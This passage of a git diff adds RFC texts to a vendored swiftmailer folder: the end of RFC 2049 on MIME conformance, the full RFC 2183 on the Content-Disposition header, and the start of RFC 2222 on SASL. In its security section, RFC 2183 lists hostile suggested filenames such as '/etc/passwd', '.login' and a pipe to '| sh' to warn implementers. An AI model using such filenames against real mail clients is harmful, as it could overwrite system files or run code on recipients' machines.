parts that are to be displayed serially: two + introductory plain text objects, an embedded multipart message, a + text/enriched object, and a closing encapsulated text message in a + non-ASCII character set. The embedded multipart message itself + contains two objects to be displayed in parallel, a picture and an + audio fragment. + + MIME-Version: 1.0 + From: Nathaniel Borenstein + To: Ned Freed + Date: Fri, 07 Oct 1994 16:15:05 -0700 (PDT) + Subject: A multipart example + Content-Type: multipart/mixed; + boundary=unique-boundary-1 + + This is the preamble area of a multipart message. + Mail readers that understand multipart format + should ignore this preamble. + + If you are reading this text, you might want to + consider changing to a mail reader that understands + how to properly display multipart messages. + + --unique-boundary-1 + + ... Some text appears here ... + + [Note that the blank between the boundary and the start + of the text in this part means no header fields were + given and this is text in the US-ASCII character set. + It could have been done with explicit typing as in the + next part.] + + --unique-boundary-1 + Content-type: text/plain; charset=US-ASCII + + This could have been part of the previous part, but + illustrates explicit versus implicit typing of body + parts. + + --unique-boundary-1 + Content-Type: multipart/parallel; boundary=unique-boundary-2 + + --unique-boundary-2 + Content-Type: audio/basic + + + +Freed & Borenstein Standards Track [Page 15] + +RFC 2049 MIME Conformance November 1996 + + + Content-Transfer-Encoding: base64 + + ... base64-encoded 8000 Hz single-channel + mu-law-format audio data goes here ... + + --unique-boundary-2 + Content-Type: image/jpeg + Content-Transfer-Encoding: base64 + + ... base64-encoded image data goes here ... + + --unique-boundary-2-- + + --unique-boundary-1 + Content-type: text/enriched + + This is enriched. + as defined in RFC 1896 + + Isn't it + cool? + + --unique-boundary-1 + Content-Type: message/rfc822 + + From: (mailbox in US-ASCII) + To: (address in US-ASCII) + Subject: (subject in US-ASCII) + Content-Type: Text/plain; charset=ISO-8859-1 + Content-Transfer-Encoding: Quoted-printable + + ... Additional text in ISO-8859-1 goes here ... + + --unique-boundary-1-- + +Appendix B -- Changes from RFC 1521, 1522, and 1590 + + These documents are a revision of RFC 1521, 1522, and 1590. For the + convenience of those familiar with the earlier documents, the changes + from those documents are summarized in this appendix. For further + history, note that Appendix H in RFC 1521 specified how that document + differed from its predecessor, RFC 1341. + + (1) This document has been completely reformatted and split + into multiple documents. This was done to improve the + quality of the plain text version of this document, + which is required to be the reference copy. + + + + +Freed & Borenstein Standards Track [Page 16] + +RFC 2049 MIME Conformance November 1996 + + + (2) BNF describing the overall structure of MIME object + headers has been added. This is a documentation change + only -- the underlying syntax has not changed in any + way. + + (3) The specific BNF for the seven media types in MIME has + been removed. This BNF was incorrect, incomplete, amd + inconsistent with the type-indendependent BNF. And + since the type-independent BNF already fully specifies + the syntax of the various MIME headers, the type- + specific BNF was, in the final analysis, completely + unnecessary and caused more problems than it solved. + + (4) The more specific "US-ASCII" character set name has + replaced the use of the informal term ASCII in many + parts of these documents. + + (5) The informal concept of a primary subtype has been + removed. + + (6) The term "object" was being used inconsistently. The + definition of this term has been clarified, along with + the related terms "body", "body part", and "entity", + and usage has been corrected where appropriate. + + (7) The BNF for the multipart media type has been + rearranged to make it clear that the CRLF preceeding + the boundary marker is actually part of the marker + itself rather than the preceeding body part. + + (8) The prose and BNF describing the multipart media type + have been changed to make it clear that the body parts + within a multipart object MUST NOT contain any lines + beginning with the boundary parameter string. + + (9) In the rules on reassembling "message/partial" MIME + entities, "Subject" is added to the list of headers to + take from the inner message, and the example is + modified to clarify this point. + + (10) "Message/partial" fragmenters are restricted to + splitting MIME objects only at line boundaries. + + (11) In the discussion of the application/postscript type, + an additional paragraph has been added warning about + possible interoperability problems caused by embedding + of binary data inside a PostScript MIME entity. + + + + +Freed & Borenstein Standards Track [Page 17] + +RFC 2049 MIME Conformance November 1996 + + + (12) Added a clarifying note to the basic syntax rules for + the Content-Type header field to make it clear that the + following two forms: + + Content-type: text/plain; charset=us-ascii (comment) + + Content-type: text/plain; charset="us-ascii" + + are completely equivalent. + + (13) The following sentence has been removed from the + discussion of the MIME-Version header: "However, + conformant software is encouraged to check the version + number and at least warn the user if an unrecognized + MIME-version is encountered." + + (14) A typo was fixed that said "application/external-body" + instead of "message/external-body". + + (15) The definition of a character set has been reorganized + to make the requirements clearer. + + (16) The definition of the "image/gif" media type has been + moved to a separate document. This change was made + because of potential conflicts with IETF rules + governing the standardization of patented technology. + + (17) The definitions of "7bit" and "8bit" have been + tightened so that use of bare CR, LF can only be used + as end-of-line sequences. The document also no longer + requires that NUL characters be preserved, which brings + MIME into alignment with real-world implementations. + + (18) The definition of canonical text in MIME has been + tightened so that line breaks must be represented by a + CRLF sequence. CR and LF characters are not allowed + outside of this usage. The definition of quoted- + printable encoding has been altered accordingly. + + (19) The definition of the quoted-printable encoding now + includes a number of suggestions for how quoted- + printable encoders might best handle improperly encoded + material. + + (20) Prose was added to clarify the use of the "7bit", + "8bit", and "binary" transfer-encodings on multipart or + message entities encapsulating "8bit" or "binary" data. + + + + +Freed & Borenstein Standards Track [Page 18] + +RFC 2049 MIME Conformance November 1996 + + + (21) In the section on MIME Conformance, "multipart/digest" + support was added to the list of requirements for + minimal MIME conformance. Also, the requirement for + "message/rfc822" support were strengthened to clarify + the importance of recognizing recursive structure. + + (22) The various restrictions on subtypes of "message" are + now specified entirely on a subtype by subtype basis. + + (23) The definition of "message/rfc822" was changed to + indicate that at least one of the "From", "Subject", or + "Date" headers must be present. + + (24) The required handling of unrecognized subtypes as + "application/octet-stream" has been made more explicit + in both the type definitions sections and the + conformance guidelines. + + (25) Examples using text/richtext were changed to + text/enriched. + + (26) The BNF definition of subtype has been changed to make + it clear that either an IANA registered subtype or a + nonstandard "X-" subtype must be used in a Content-Type + header field. + + (27) MIME media types that are simply registered for use and + those that are standardized by the IETF are now + distinguished in the MIME BNF. + + (28) All of the various MIME registration procedures have + been extensively revised. IANA registration procedures + for character sets have been moved to a separate + document that is no included in this set of documents. + + (29) The use of escape and shift mechanisms in the US-ASCII + and ISO-8859-X character sets these documents define + have been clarified: Such mechanisms should never be + used in conjunction with these character sets and their + effect if they are used is undefined. + + (30) The definition of the AFS access-type for + message/external-body has been removed. + + (31) The handling of the combination of + multipart/alternative and message/external-body is now + specifically addressed. + + + + +Freed & Borenstein Standards Track [Page 19] + +RFC 2049 MIME Conformance November 1996 + + + (32) Security issues specific to message/external-body are + now discussed in some detail. + +Appendix C -- References + + [ATK] + Borenstein, Nathaniel S., Multimedia Applications + Development with the Andrew Toolkit, Prentice-Hall, 1990. + + [ISO-2022] + International Standard -- Information Processing -- + Character Code Structure and Extension Techniques, + ISO/IEC 2022:1994, 4th ed. + + [ISO-8859] + International Standard -- Information Processing -- 8-bit + Single-Byte Coded Graphic Character Sets + - Part 1: Latin Alphabet No. 1, ISO 8859-1:1987, 1st ed. + - Part 2: Latin Alphabet No. 2, ISO 8859-2:1987, 1st ed. + - Part 3: Latin Alphabet No. 3, ISO 8859-3:1988, 1st ed. + - Part 4: Latin Alphabet No. 4, ISO 8859-4:1988, 1st ed. + - Part 5: Latin/Cyrillic Alphabet, ISO 8859-5:1988, 1st + ed. + - Part 6: Latin/Arabic Alphabet, ISO 8859-6:1987, 1st ed. + - Part 7: Latin/Greek Alphabet, ISO 8859-7:1987, 1st ed. + - Part 8: Latin/Hebrew Alphabet, ISO 8859-8:1988, 1st ed. + - Part 9: Latin Alphabet No. 5, ISO/IEC 8859-9:1989, 1st + ed. + International Standard -- Information Technology -- 8-bit + Single-Byte Coded Graphic Character Sets + - Part 10: Latin Alphabet No. 6, ISO/IEC 8859-10:1992, + 1st ed. + + [ISO-646] + International Standard -- Information Technology -- ISO + 7-bit Coded Character Set for Information Interchange, + ISO 646:1991, 3rd ed.. + + [JPEG] + JPEG Draft Standard ISO 10918-1 CD. + + [MPEG] + Video Coding Draft Standard ISO 11172 CD, ISO + IEC/JTC1/SC2/WG11 (Motion Picture Experts Group), May, + 1991. + + + + + + +Freed & Borenstein Standards Track [Page 20] + +RFC 2049 MIME Conformance November 1996 + + + [PCM] + CCITT, Fascicle III.4 - Recommendation G.711, "Pulse Code + Modulation (PCM) of Voice Frequencies", Geneva, 1972. + + [POSTSCRIPT] + Adobe Systems, Inc., PostScript Language Reference + Manual, Addison-Wesley, 1985. + + [POSTSCRIPT2] + Adobe Systems, Inc., PostScript Language Reference + Manual, Addison-Wesley, Second Ed., 1990. + + [RFC-783] + Sollins, K.R., "TFTP Protocol (revision 2)", RFC-783, + MIT, June 1981. + + [RFC-821] + Postel, J.B., "Simple Mail Transfer Protocol", STD 10, + RFC 821, USC/Information Sciences Institute, August 1982. + + [RFC-822] + Crocker, D., "Standard for the Format of ARPA Internet + Text Messages", STD 11, RFC 822, UDEL, August 1982. + + [RFC-934] + Rose, M. and E. Stefferud, "Proposed Standard for Message + Encapsulation", RFC 934, Delaware and NMA, January 1985. + + [RFC-959] + Postel, J. and J. Reynolds, "File Transfer Protocol", STD + 9, RFC 959, USC/Information Sciences Institute, October + 1985. + + [RFC-1049] + Sirbu, M., "Content-Type Header Field for Internet + Messages", RFC 1049, CMU, March 1988. + + [RFC-1154] + Robinson, D., and R. Ullmann, "Encoding Header Field for + Internet Messages", RFC 1154, Prime Computer, Inc., April + 1990. + + [RFC-1341] + Borenstein, N., and N. Freed, "MIME (Multipurpose + Internet Mail Extensions): Mechanisms for Specifying and + Describing the Format of Internet Message Bodies", RFC + 1341, Bellcore, Innosoft, June 1992. + + + + +Freed & Borenstein Standards Track [Page 21] + +RFC 2049 MIME Conformance November 1996 + + + [RFC-1342] + Moore, K., "Representation of Non-Ascii Text in Internet + Message Headers", RFC 1342, University of Tennessee, June + 1992. + + [RFC-1344] + Borenstein, N., "Implications of MIME for Internet Mail + Gateways", RFC 1344, Bellcore, June 1992. + + [RFC-1345] + Simonsen, K., "Character Mnemonics & Character Sets", RFC + 1345, Rationel Almen Planlaegning, June 1992. + + [RFC-1421] + Linn, J., "Privacy Enhancement for Internet Electronic + Mail: Part I -- Message Encryption and Authentication + Procedures", RFC 1421, IAB IRTF PSRG, IETF PEM WG, + February 1993. + + [RFC-1422] + Kent, S., "Privacy Enhancement for Internet Electronic + Mail: Part II -- Certificate-Based Key Management", RFC + 1422, IAB IRTF PSRG, IETF PEM WG, February 1993. + + [RFC-1423] + Balenson, D., "Privacy Enhancement for Internet + Electronic Mail: Part III -- Algorithms, Modes, and + Identifiers", IAB IRTF PSRG, IETF PEM WG, February 1993. + + [RFC-1424] + Kaliski, B., "Privacy Enhancement for Internet Electronic + Mail: Part IV -- Key Certification and Related + Services", IAB IRTF PSRG, IETF PEM WG, February 1993. + + [RFC-1521] + Borenstein, N., and Freed, N., "MIME (Multipurpose + Internet Mail Extensions): Mechanisms for Specifying and + Describing the Format of Internet Message Bodies", RFC + 1521, Bellcore, Innosoft, September, 1993. + + [RFC-1522] + Moore, K., "Representation of Non-ASCII Text in Internet + Message Headers", RFC 1522, University of Tennessee, + September 1993. + + + + + + + +Freed & Borenstein Standards Track [Page 22] + +RFC 2049 MIME Conformance November 1996 + + + [RFC-1524] + Borenstein, N., "A User Agent Configuration Mechanism for + Multimedia Mail Format Information", RFC 1524, Bellcore, + September 1993. + + [RFC-1543] + Postel, J., "Instructions to RFC Authors", RFC 1543, + USC/Information Sciences Institute, October 1993. + + [RFC-1556] + Nussbacher, H., "Handling of Bi-directional Texts in + MIME", RFC 1556, Israeli Inter-University Computer + Center, December 1993. + + [RFC-1590] + Postel, J., "Media Type Registration Procedure", RFC + 1590, USC/Information Sciences Institute, March 1994. + + [RFC-1602] + Internet Architecture Board, Internet Engineering + Steering Group, Huitema, C., Gross, P., "The Internet + Standards Process -- Revision 2", March 1994. + + [RFC-1652] + Klensin, J., (WG Chair), Freed, N., (Editor), Rose, M., + Stefferud, E., and Crocker, D., "SMTP Service Extension + for 8bit-MIME transport", RFC 1652, United Nations + University, Innosoft, Dover Beach Consulting, Inc., + Network Management Associates, Inc., The Branch Office, + March 1994. + + [RFC-1700] + Reynolds, J. and J. Postel, "Assigned Numbers", STD 2, + RFC 1700, USC/Information Sciences Institute, October + 1994. + + [RFC-1741] + Faltstrom, P., Crocker, D., and Fair, E., "MIME Content + Type for BinHex Encoded Files", December 1994. + + [RFC-1896] + Resnick, P., and A. Walker, "The text/enriched MIME + Content-type", RFC 1896, February, 1996. + + + + + + + + +Freed & Borenstein Standards Track [Page 23] + +RFC 2049 MIME Conformance November 1996 + + + [RFC-2045] + Freed, N., and and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part One: Format of Internet Message + Bodies", RFC 2045, Innosoft, First Virtual Holdings, + November 1996. + + [RFC-2046] + Freed, N., and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Two: Media Types", RFC 2046, + Innosoft, First Virtual Holdings, November 1996. + + [RFC-2047] + Moore, K., "Multipurpose Internet Mail Extensions (MIME) + Part Three: Representation of Non-ASCII Text in Internet + Message Headers", RFC 2047, University of + Tennessee, November 1996. + + [RFC-2048] + Freed, N., Klensin, J., and J. Postel, "Multipurpose + Internet Mail Extensions (MIME) Part Four: MIME + Registration Procedures", RFC 2048, Innosoft, MCI, + ISI, November 1996. + + [RFC-2049] + Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Five: Conformance Criteria and + Examples", RFC 2049 (this document), Innosoft, First + Virtual Holdings, November 1996. + + [US-ASCII] + Coded Character Set -- 7-Bit American Standard Code for + Information Interchange, ANSI X3.4-1986. + + [X400] + Schicker, Pietro, "Message Handling Systems, X.400", + Message Handling Systems and Distributed Applications, E. + Stefferud, O-j. Jacobsen, and P. Schicker, eds., North- + Holland, 1989, pp. 3-41. + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 24] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2183.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2183.txt new file mode 100644 index 00000000..f16f127e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2183.txt @@ -0,0 +1,675 @@ + + + + + + +Network Working Group R. Troost +Request for Comments: 2183 New Century Systems +Updates: 1806 S. Dorner +Category: Standards Track QUALCOMM Incorporated + K. Moore, Editor + University of Tennessee + August 1997 + + + Communicating Presentation Information in + Internet Messages: + The Content-Disposition Header Field + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + This memo provides a mechanism whereby messages conforming to the + MIME specifications [RFC 2045, RFC 2046, RFC 2047, RFC 2048, RFC + 2049] can convey presentational information. It specifies the + "Content-Disposition" header field, which is optional and valid for + any MIME entity ("message" or "body part"). Two values for this + header field are described in this memo; one for the ordinary linear + presentation of the body part, and another to facilitate the use of + mail to transfer files. It is expected that more values will be + defined in the future, and procedures are defined for extending this + set of values. + + This document is intended as an extension to MIME. As such, the + reader is assumed to be familiar with the MIME specifications, and + [RFC 822]. The information presented herein supplements but does not + replace that found in those documents. + + This document is a revision to the Experimental protocol defined in + RFC 1806. As compared to RFC 1806, this document contains minor + editorial updates, adds new parameters needed to support the File + Transfer Body Part, and references a separate specification for the + handling of non-ASCII and/or very long parameter values. + + + + + + + +Troost, et. al. Standards Track [Page 1] + +RFC 2183 Content-Disposition August 1997 + + +1. Introduction + + MIME specifies a standard format for encapsulating multiple pieces of + data into a single Internet message. That document does not address + the issue of presentation styles; it provides a framework for the + interchange of message content, but leaves presentation issues solely + in the hands of mail user agent (MUA) implementors. + + Two common ways of presenting multipart electronic messages are as a + main document with a list of separate attachments, and as a single + document with the various parts expanded (displayed) inline. The + display of an attachment is generally construed to require positive + action on the part of the recipient, while inline message components + are displayed automatically when the message is viewed. A mechanism + is needed to allow the sender to transmit this sort of presentational + information to the recipient; the Content-Disposition header provides + this mechanism, allowing each component of a message to be tagged + with an indication of its desired presentation semantics. + + Tagging messages in this manner will often be sufficient for basic + message formatting. However, in many cases a more powerful and + flexible approach will be necessary. The definition of such + approaches is beyond the scope of this memo; however, such approaches + can benefit from additional Content-Disposition values and + parameters, to be defined at a later date. + + In addition to allowing the sender to specify the presentational + disposition of a message component, it is desirable to allow her to + indicate a default archival disposition; a filename. The optional + "filename" parameter provides for this. Further, the creation-date, + modification-date, and read-date parameters allow preservation of + those file attributes when the file is transmitted over MIME email. + + NB: The keywords MUST, MUST NOT, REQUIRED, SHALL, SHALL NOT, SHOULD, + SHOULD NOT, RECOMMENDED, MAY, and OPTIONAL, when they appear in this + document, are to be interpreted as described in [RFC 2119]. + +2. The Content-Disposition Header Field + + Content-Disposition is an optional header field. In its absence, the + MUA may use whatever presentation method it deems suitable. + + It is desirable to keep the set of possible disposition types small + and well defined, to avoid needless complexity. Even so, evolving + usage will likely require the definition of additional disposition + types or parameters, so the set of disposition values is extensible; + see below. + + + + +Troost, et. al. Standards Track [Page 2] + +RFC 2183 Content-Disposition August 1997 + + + In the extended BNF notation of [RFC 822], the Content-Disposition + header field is defined as follows: + + disposition := "Content-Disposition" ":" + disposition-type + *(";" disposition-parm) + + disposition-type := "inline" + / "attachment" + / extension-token + ; values are not case-sensitive + + disposition-parm := filename-parm + / creation-date-parm + / modification-date-parm + / read-date-parm + / size-parm + / parameter + + filename-parm := "filename" "=" value + + creation-date-parm := "creation-date" "=" quoted-date-time + + modification-date-parm := "modification-date" "=" quoted-date-time + + read-date-parm := "read-date" "=" quoted-date-time + + size-parm := "size" "=" 1*DIGIT + + quoted-date-time := quoted-string + ; contents MUST be an RFC 822 `date-time' + ; numeric timezones (+HHMM or -HHMM) MUST be used + + + + NOTE ON PARAMETER VALUE LENGHTS: A short (length <= 78 characters) + parameter value containing only non-`tspecials' characters SHOULD be + represented as a single `token'. A short parameter value containing + only ASCII characters, but including `tspecials' characters, SHOULD + be represented as `quoted-string'. Parameter values longer than 78 + characters, or which contain non-ASCII characters, MUST be encoded as + specified in [RFC 2184]. + + `Extension-token', `parameter', `tspecials' and `value' are defined + according to [RFC 2045] (which references [RFC 822] in the definition + of some of these tokens). `quoted-string' and `DIGIT' are defined in + [RFC 822]. + + + + +Troost, et. al. Standards Track [Page 3] + +RFC 2183 Content-Disposition August 1997 + + +2.1 The Inline Disposition Type + + A bodypart should be marked `inline' if it is intended to be + displayed automatically upon display of the message. Inline + bodyparts should be presented in the order in which they occur, + subject to the normal semantics of multipart messages. + +2.2 The Attachment Disposition Type + + Bodyparts can be designated `attachment' to indicate that they are + separate from the main body of the mail message, and that their + display should not be automatic, but contingent upon some further + action of the user. The MUA might instead present the user of a + bitmap terminal with an iconic representation of the attachments, or, + on character terminals, with a list of attachments from which the + user could select for viewing or storage. + +2.3 The Filename Parameter + + The sender may want to suggest a filename to be used if the entity is + detached and stored in a separate file. If the receiving MUA writes + the entity to a file, the suggested filename should be used as a + basis for the actual filename, where possible. + + It is important that the receiving MUA not blindly use the suggested + filename. The suggested filename SHOULD be checked (and possibly + changed) to see that it conforms to local filesystem conventions, + does not overwrite an existing file, and does not present a security + problem (see Security Considerations below). + + The receiving MUA SHOULD NOT respect any directory path information + that may seem to be present in the filename parameter. The filename + should be treated as a terminal component only. Portable + specification of directory paths might possibly be done in the future + via a separate Content-Disposition parameter, but no provision is + made for it in this draft. + + Current [RFC 2045] grammar restricts parameter values (and hence + Content-Disposition filenames) to US-ASCII. We recognize the great + desirability of allowing arbitrary character sets in filenames, but + it is beyond the scope of this document to define the necessary + mechanisms. We expect that the basic [RFC 1521] `value' + specification will someday be amended to allow use of non-US-ASCII + characters, at which time the same mechanism should be used in the + Content-Disposition filename parameter. + + + + + + +Troost, et. al. Standards Track [Page 4] + +RFC 2183 Content-Disposition August 1997 + + + Beyond the limitation to US-ASCII, the sending MUA may wish to bear + in mind the limitations of common filesystems. Many have severe + length and character set restrictions. Short alphanumeric filenames + are least likely to require modification by the receiving system. + + The presence of the filename parameter does not force an + implementation to write the entity to a separate file. It is + perfectly acceptable for implementations to leave the entity as part + of the normal mail stream unless the user requests otherwise. As a + consequence, the parameter may be used on any MIME entity, even + `inline' ones. These will not normally be written to files, but the + parameter could be used to provide a filename if the receiving user + should choose to write the part to a file. + +2.4 The Creation-Date parameter + + The creation-date parameter MAY be used to indicate the date at which + the file was created. If this parameter is included, the paramter + value MUST be a quoted-string which contains a representation of the + creation date of the file in [RFC 822] `date-time' format. + + UNIX and POSIX implementors are cautioned that the `st_ctime' file + attribute of the `stat' structure is not the creation time of the + file; it is thus not appropriate as a source for the creation-date + parameter value. + +2.5 The Modification-Date parameter + + The modification-date parameter MAY be used to indicate the date at + which the file was last modified. If the modification-date parameter + is included, the paramter value MUST be a quoted-string which + contains a representation of the last modification date of the file + in [RFC 822] `date-time' format. + +2.6 The Read-Date parameter + + The read-date parameter MAY be used to indicate the date at which the + file was last read. If the read-date parameter is included, the + parameter value MUST be a quoted-string which contains a + representation of the last-read date of the file in [RFC 822] `date- + time' format. + +2.7 The Size parameter + + The size parameter indicates an approximate size of the file in + octets. It can be used, for example, to pre-allocate space before + attempting to store the file, or to determine whether enough space + exists. + + + +Troost, et. al. Standards Track [Page 5] + +RFC 2183 Content-Disposition August 1997 + + +2.8 Future Extensions and Unrecognized Disposition Types + + In the likely event that new parameters or disposition types are + needed, they should be registered with the Internet Assigned Numbers + Authority (IANA), in the manner specified in Section 9 of this memo. + + Once new disposition types and parameters are defined, there is of + course the likelihood that implementations will see disposition types + and parameters they do not understand. Furthermore, since x-tokens + are allowed, implementations may also see entirely unregistered + disposition types and parameters. + + Unrecognized parameters should be ignored. Unrecognized disposition + types should be treated as `attachment'. The choice of `attachment' + for unrecognized types is made because a sender who goes to the + trouble of producing a Content-Disposition header with a new + disposition type is more likely aiming for something more elaborate + than inline presentation. + + Unless noted otherwise in the definition of a parameter, Content- + Disposition parameters are valid for all dispositions. (In contrast + to MIME content-type parameters, which are defined on a per-content- + type basis.) Thus, for example, the `filename' parameter still means + the name of the file to which the part should be written, even if the + disposition itself is unrecognized. + +2.9 Content-Disposition and Multipart + + If a Content-Disposition header is used on a multipart body part, it + applies to the multipart as a whole, not the individual subparts. + The disposition types of the subparts do not need to be consulted + until the multipart itself is presented. When the multipart is + displayed, then the dispositions of the subparts should be respected. + + If the `inline' disposition is used, the multipart should be + displayed as normal; however, an `attachment' subpart should require + action from the user to display. + + If the `attachment' disposition is used, presentation of the + multipart should not proceed without explicit user action. Once the + user has chosen to display the multipart, the individual subpart + dispositions should be consulted to determine how to present the + subparts. + + + + + + + + +Troost, et. al. Standards Track [Page 6] + +RFC 2183 Content-Disposition August 1997 + + +2.10 Content-Disposition and the Main Message + + It is permissible to use Content-Disposition on the main body of an + [RFC 822] message. + +3. Examples + + Here is a an example of a body part containing a JPEG image that is + intended to be viewed by the user immediately: + + Content-Type: image/jpeg + Content-Disposition: inline + Content-Description: just a small picture of me + + + + The following body part contains a JPEG image that should be + displayed to the user only if the user requests it. If the JPEG is + written to a file, the file should be named "genome.jpg". The + recipient's user might also choose to set the last-modified date of + the stored file to date in the modification-date parameter: + + Content-Type: image/jpeg + Content-Disposition: attachment; filename=genome.jpeg; + modification-date="Wed, 12 Feb 1997 16:29:51 -0500"; + Content-Description: a complete map of the human genome + + + + The following is an example of the use of the `attachment' + disposition with a multipart body part. The user should see text- + part-1 immediately, then take some action to view multipart-2. After + taking action to view multipart-2, the user will see text-part-2 + right away, and be required to take action to view jpeg-1. Subparts + are indented for clarity; they would not be so indented in a real + message. + + + + + + + + + + + + + + + +Troost, et. al. Standards Track [Page 7] + +RFC 2183 Content-Disposition August 1997 + + + Content-Type: multipart/mixed; boundary=outer + Content-Description: multipart-1 + + --outer + Content-Type: text/plain + Content-Disposition: inline + Content-Description: text-part-1 + + Some text goes here + + --outer + Content-Type: multipart/mixed; boundary=inner + Content-Disposition: attachment + Content-Description: multipart-2 + + --inner + Content-Type: text/plain + Content-Disposition: inline + Content-Description: text-part-2 + + Some more text here. + + --inner + Content-Type: image/jpeg + Content-Disposition: attachment + Content-Description: jpeg-1 + + + --inner-- + --outer-- + +4. Summary + + Content-Disposition takes one of two values, `inline' and + `attachment'. `Inline' indicates that the entity should be + immediately displayed to the user, whereas `attachment' means that + the user should take additional action to view the entity. + + The `filename' parameter can be used to suggest a filename for + storing the bodypart, if the user wishes to store it in an external + file. + + + + + + + + + + +Troost, et. al. Standards Track [Page 8] + +RFC 2183 Content-Disposition August 1997 + + +5. Security Considerations + + There are security issues involved any time users exchange data. + While these are not to be minimized, neither does this memo change + the status quo in that regard, except in one instance. + + Since this memo provides a way for the sender to suggest a filename, + a receiving MUA must take care that the sender's suggested filename + does not represent a hazard. Using UNIX as an example, some hazards + would be: + + + Creating startup files (e.g., ".login"). + + + Creating or overwriting system files (e.g., "/etc/passwd"). + + + Overwriting any existing file. + + + Placing executable files into any command search path + (e.g., "~/bin/more"). + + + Sending the file to a pipe (e.g., "| sh"). + + In general, the receiving MUA should not name or place the file such + that it will get interpreted or executed without the user explicitly + initiating the action. + + It is very important to note that this is not an exhaustive list; it + is intended as a small set of examples only. Implementors must be + alert to the potential hazards on their target systems. + +6. References + + [RFC 2119] + Bradner, S., "Key words for use in RFCs to Indicate Requirement + Levels", RFC 2119, March 1997. + + [RFC 2184] + Freed, N. and K. Moore, "MIME Parameter value and Encoded Words: + Character Sets, Lanaguage, and Continuations", RFC 2184, August + 1997. + + [RFC 2045] + Freed, N. and N. Borenstein, "MIME (Multipurpose Internet Mail + Extensions) Part One: Format of Internet Message Bodies", RFC + 2045, December 1996. + + + + + + +Troost, et. al. Standards Track [Page 9] + +RFC 2183 Content-Disposition August 1997 + + + [RFC 2046] + Freed, N. and N. Borenstein, "MIME (Multipurpose Internet Mail + Extensions) Part Two: Media Types", RFC 2046, December 1996. + + [RFC 2047] + Moore, K., "MIME (Multipurpose Internet Mail Extensions) Part + Three: Message Header Extensions for non-ASCII Text", RFC 2047, + December 1996. + + [RFC 2048] + Freed, N., Klensin, J. and J. Postel, "MIME (Multipurpose + Internet Mail Extensions) Part Four: Registration Procedures", + RFC 2048, December 1996. + + [RFC 2049] + Freed, N. and N. Borenstein, "MIME (Multipurpose Internet Mail + Extensions) Part Five: Conformance Criteria and Examples", RFC + 2049, December 1996. + + [RFC 822] + Crocker, D., "Standard for the Format of ARPA Internet Text + Messages", STD 11, RFC 822, UDEL, August 1982. + +7. Acknowledgements + + We gratefully acknowledge the help these people provided during the + preparation of this draft: + + Nathaniel Borenstein + Ned Freed + Keith Moore + Dave Crocker + Dan Pritchett + + + + + + + + + + + + + + + + + + +Troost, et. al. Standards Track [Page 10] + +RFC 2183 Content-Disposition August 1997 + + +8. Authors' Addresses + + You should blame the editor of this version of the document for any + changes since RFC 1806: + + Keith Moore + Department of Computer Science + University of Tennessee, Knoxville + 107 Ayres Hall + Knoxville TN 37996-1301 + USA + + Phone: +1 (423) 974-5067 + Fax: +1 (423) 974-8296 + Email: moore@cs.utk.edu + + + The authors of RFC 1806 are: + + Rens Troost + New Century Systems + 324 East 41st Street #804 + New York, NY, 10017 USA + + Phone: +1 (212) 557-2050 + Fax: +1 (212) 557-2049 + EMail: rens@century.com + + + Steve Dorner + QUALCOMM Incorporated + 6455 Lusk Boulevard + San Diego, CA 92121 + USA + + EMail: sdorner@qualcomm.com + + +9. Registration of New Content-Disposition Values and Parameters + + New Content-Disposition values (besides "inline" and "attachment") + may be defined only by Internet standards-track documents, or in + Experimental documents approved by the Internet Engineering Steering + Group. + + + + + + + +Troost, et. al. Standards Track [Page 11] + +RFC 2183 Content-Disposition August 1997 + + + New content-disposition parameters may be registered by supplying the + information in the following template and sending it via electronic + mail to IANA@IANA.ORG: + + To: IANA@IANA.ORG + Subject: Registration of new Content-Disposition parameter + + Content-Disposition parameter name: + + Allowable values for this parameter: + (If the parameter can only assume a small number of values, + list each of those values. Otherwise, describe the values + that the parameter can assume.) + Description: + (What is the purpose of this parameter and how is it used?) + +10. Changes since RFC 1806 + + The following changes have been made since the earlier version of + this document, published in RFC 1806 as an Experimental protocol: + + + Updated references to MIME documents. In some cases this + involved substituting a reference to one of the current MIME + RFCs for a reference to RFC 1521; in other cases, a reference to + RFC 1521 was simply replaced with the word "MIME". + + + Added a section on registration procedures, since none of the + procedures in RFC 2048 seemed to be appropriate. + + + Added new parameter types: creation-date, modification-date, + read-date, and size. + + + + Incorporated a reference to draft-freed-pvcsc-* for encoding + long or non-ASCII parameter values. + + + Added reference to RFC 2119 to define MUST, SHOULD, etc. + keywords. + + + + + + + + + + + + + +Troost, et. al. Standards Track [Page 12] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2222.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2222.txt new file mode 100644 index 00000000..2b0a2abc --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2222.txt @@ -0,0 +1,899 @@ + + + + + + +Network Working Group J. Myers +Request for Comments: 2222 Netscape Communications +Category: Standards Track October 1997 + + + Simple Authentication and Security Layer (SASL) + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1997). All Rights Reserved. + +Table of Contents + + 1. Abstract .............................................. 2 + 2. Organization of this Document ......................... 2 + 2.1. How to Read This Document ............................. 2 + 2.2. Conventions Used in this Document ..................... 2 + 2.3. Examples .............................................. 3 + 3. Introduction and Overview ............................. 3 + 4. Profiling requirements ................................ 4 + 5. Specific issues ....................................... 5 + 5.1. Client sends data first ............................... 5 + 5.2. Server returns success with additional data ........... 5 + 5.3. Multiple authentications .............................. 5 + 6. Registration procedures ............................... 6 + 6.1. Comments on SASL mechanism registrations .............. 6 + 